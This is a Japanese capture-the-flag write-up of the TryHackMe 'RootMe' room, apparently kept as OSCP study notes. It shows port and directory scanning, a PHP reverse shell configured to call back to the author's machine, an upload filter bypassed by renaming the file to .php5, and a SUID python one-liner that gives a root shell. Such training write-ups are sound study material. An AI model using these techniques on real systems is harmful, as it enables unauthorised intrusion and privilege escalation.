【TryHackMe】RootMe Writeup

# はじめに
OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「[RootMe](https://tryhackme.com/room/rrootme)」というRoomを攻略しました。
今回のRoomは4つのTaskで構成されています。
**※扱い次第では法に触れるため、悪用厳禁です。**

# Task1  Deploy the machine
最初のタスクはRoomへのアクセスのみである為、省略します。

# Task2 Reconnaissance
2つ目のタスクではポートスキャンを行います。

## Scan the machine, how many ports are open?
nmapコマンドを使用してポートスキャンを行います。

```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.73.224                  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-21 07:36 EDT
Nmap scan report for 10.10.73.224
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.66 seconds
                                                                
```
開放されているポートの数は「2」になります。

## What version of Apache is running?
再度nmapに「-A」を指定して、サービスとそのバージョンを調べます。
```
┌──(kali㉿kali)-[~]
└─$ nmap -T4 -p 80 -A 10.10.73.224 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-21 07:39 EDT
Nmap scan report for 10.10.73.224
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds
```
Apacheの答えは「2.4.29」になります。

## What service is running on port 22?
    最初に実行したnmapの結果より、22ポートのサービスは「ssh」となります。

## Find directories on the web server using the GoBuster tool.
gobusterコマンドを使用して隠しディレクトリを調査します。
「-u」オプションでURL、「-w」で辞書データを指定します。
```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.73.224 -w ../../usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.73.224
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 310] [--> http://10.10.73.224/css/]                                                                            
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 309] [--> http://10.10.73.224/js/]
/panel                (Status: 301) [Size: 312] [--> http://10.10.73.224/panel/]                                                                          
/server-status        (Status: 403) [Size: 277]
/uploads              (Status: 301) [Size: 314] [--> http://10.10.73.224/uploads/]                                                                        
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

```
どうやら「/panel 」と「/uploads 」にアクセスが出来そうです。


## What is the hidden directory?
gobusterコマンド結果と解答のフォームの文字数より、ここでは「/panel/」が答えになります。
                                                            
# Getting a shell
ではフラグを探します。
前のタスクで見つけた隠しディレクトリ「10.10.73.224/panel/」へアクセスします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/6f30e41e-6203-d805-7d9e-dbd9b6d64a90.png)

アクセスしたところ、ファイルのアップローダがある事を確認しました。
この場合にはphpファイルをアップロードし、リバースシェルを実行します。

リバースシェル用のファイルはKali linux上の「/usr/share/webshells/php/php-reverse-shell.php」になります。

そのファイル内の下＆$ipを自身のアドレスに変更し、そのファイルをアップロードします。
ちなみにそのアドレスはvpn接続されていれば、デスクトップの右上に表示されているかと思います。

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.6.71.140';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/fe4ac0f3-d3e4-0c16-7deb-62716ee990a6.png)
アップロードを試みましたが、エラーとなりました。ファイルの拡張子をphpからphp5に変更し再度アップロードを試みました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/033953f4-0352-f1c0-86fe-f32f7baebaae.png)
今回はアップロードできました。
アップロードしたファイルはgobusterコマンドの結果にもあった「10.10.73.224/uploads/」で確認することが出来ます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/3207d764-38af-5ada-7ea7-553d4c260acd.png)
どうやらアップロードしたファイルをクリックすることで実行が出来るみたいです。
実際にアップロードしたファイルを実行する前に、自身の環境のコマンドラインにてnetcatコマンドを使用して、特定のポートによる接続を待ち受けます。

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
```

ここで先ほどアップロードしたファイルをクリックして実行します。

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.71.140] from (UNKNOWN) [10.10.73.224] 36546
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 12:09:21 up 34 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
```
すると待ち受け画面が進み、リバースシェルが成功しました。
フラグが書かれたファイル名は判明している為、それを探します。

```
$ nmap -name user.txt
...
find: './proc/1666/ns': Permission denied
./var/www/user.txt
...
$ cat var/www/user.txt
```
ファイルのパスが分かったので、内容を確認しフラグ獲得になります。

# Task4 Privilege escalation
最後に権限昇格になります。

## Search for files with SUID permission, which file is weird?
ヒントにあるコマンドを実行します。
```
$ find / -user root -perm /4000
...
/usr/bin/python
...
```
確認したところpythonが使えそうです。

# Find a form to escalate your privileges.
pythonを使用した権限昇格方法を[Gtfbins](https://gtfobins.github.io/gtfobins/python/)から参照します。
今回はSUID権限で実行する下記コマンドを使用します。
```
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

# root.txt
```
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

whoami
root

cat root/root.txt
```

# さいごに
以上となります。

今回のようなアップローダーがある場合、phpファイルを使用したリバースシェルは定番である認識ですが、拡張子によってアップロードできない事象は想定外でした。今回変更したphp5に加えて、どの拡張子が有効であるかは事前に認識しておこうと思いました。